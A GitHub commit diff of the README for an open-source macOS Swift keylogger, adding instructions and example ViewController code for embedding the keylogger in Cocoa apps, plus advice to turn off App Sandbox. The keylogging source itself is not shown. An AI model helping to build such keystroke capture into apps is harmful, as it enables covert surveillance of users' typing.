Skip to content

Commit c6ab2ce

Browse files
Add how to add keylogger to cocoa apps
1 parent 979fffd commit c6ab2ce

File tree

1 file changed

+64
-2
lines changed

1 file changed

+64
-2
lines changed

README.md

Lines changed: 64 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# macOS Keylogger
1+
# macOS Swift-Keylogger
22

33
[![Backers on Open Collective](https://opencollective.com/Swift-Keylogger/backers/badge.svg)](#backers) [![Sponsors on Open Collective](https://opencollective.com/Swift-Keylogger/sponsors/badge.svg)](#sponsors) [![Swift 4.0](https://img.shields.io/badge/Swift-4.0-orange.svg)]()
44

@@ -10,7 +10,6 @@ So, I don't want to keep checking about the availability of their APIs and chang
1010

1111
Most of the keyloggers available only log keystrokes into a file without much information about on which app the keystrokes are generated.
1212

13-
>Note: This keylogger doesn't capture secure input fields like passwords due to [`EnableSecureEventInput`](https://developer.apple.com/library/content/technotes/tn2150/_index.html)
1413

1514
## Usage
1615

@@ -50,11 +49,74 @@ By default, it creates a folder where the executable is present.
5049
To change the path edit `bundlePathURL` in `Keylogger.swift`
5150
##### All the data is grouped according to day in each folder.
5251

52+
## Integrating Swift-Keylogger with Cocoa App
53+
54+
There are 2 ways:
55+
56+
1. Using the executable(By using `Process` to call the external binaries from Cocoa App).
57+
2. Using source code in your App without the need for external binary
58+
59+
### Using executable
60+
> NOTE: The documentation of Apple has been constantly changing since the release of Swift. So, I just wanted to give the basic idea of this method without providing the code to avoid updating this part of the code frequently.
61+
62+
1. Clone it and build the project by yourself or download the already built binary from the releases page.
63+
2. Use [`Process`](https://developer.apple.com/documentation/foundation/process) to run the external binary from your app.
64+
3. **NOTE: Don't use [`waitUntilExit()`](https://developer.apple.com/documentation/foundation/process/1415808-waituntilexit) or similar methods which can block the execution of the main UI to run the keylogger!**
65+
66+
### Using Source code
67+
68+
**1.** Add `Keylogger.swift` and `CallBackFunctions.swift` files to your project.
69+
70+
**2.** Initialize the Keylogger as a static variable and use `start()` and `stop()` to start and stop the keylogger.
71+
72+
#### Example of ViewController.swift
73+
```swift
74+
import Cocoa
75+
76+
77+
class ViewController: NSViewController {
78+
79+
// Initialize the Keylogger
80+
static var k = Keylogger()
81+
82+
override func viewDidLoad() {
83+
super.viewDidLoad()
84+
85+
// Do any additional setup after loading the view.
86+
}
87+
88+
override var representedObject: Any? {
89+
didSet {
90+
// Update the view, if already loaded.
91+
}
92+
}
93+
94+
// A button to start the keylogger
95+
@IBAction func start(_ sender: Any) {
96+
ViewController.k.start()
97+
}
98+
99+
// A button to stop the keylogger
100+
@IBAction func stop(_ sender: Any) {
101+
ViewController.k.stop()
102+
}
103+
}
104+
```
105+
106+
**3.** Now, to run it without any problems, turn off the **APP SANDBOX**. If you want to use **APP SANDBOX**, then add the following to your entitlements:
107+
108+
```
109+
com.apple.security.device.usb = YES
110+
```
111+
112+
53113
## Disclaimer
54114
If the use of this product causes the death of your firstborn or anyone, I'm not responsible ( no warranty, no liability, etc.)
55115

56116
For technical people: It is only for educational purpose.
57117

118+
>Note: This keylogger doesn't capture secure input fields like passwords due to [`EnableSecureEventInput`](https://developer.apple.com/library/content/technotes/tn2150/_index.html)
119+
58120

59121
## Contributing
60122

0 commit comments

Comments
 (0)